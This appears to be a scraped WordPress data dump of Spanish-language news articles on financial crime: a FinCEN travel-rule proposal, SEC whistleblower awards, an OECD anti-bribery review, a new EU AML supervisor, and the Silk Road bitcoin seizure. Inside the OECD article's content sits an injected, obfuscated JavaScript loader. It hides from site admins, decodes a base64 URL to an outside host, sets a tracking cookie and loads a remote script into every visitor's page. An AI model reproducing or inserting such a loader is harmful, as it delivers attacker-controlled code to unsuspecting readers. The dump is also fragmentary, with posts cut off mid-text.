Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. 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The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue 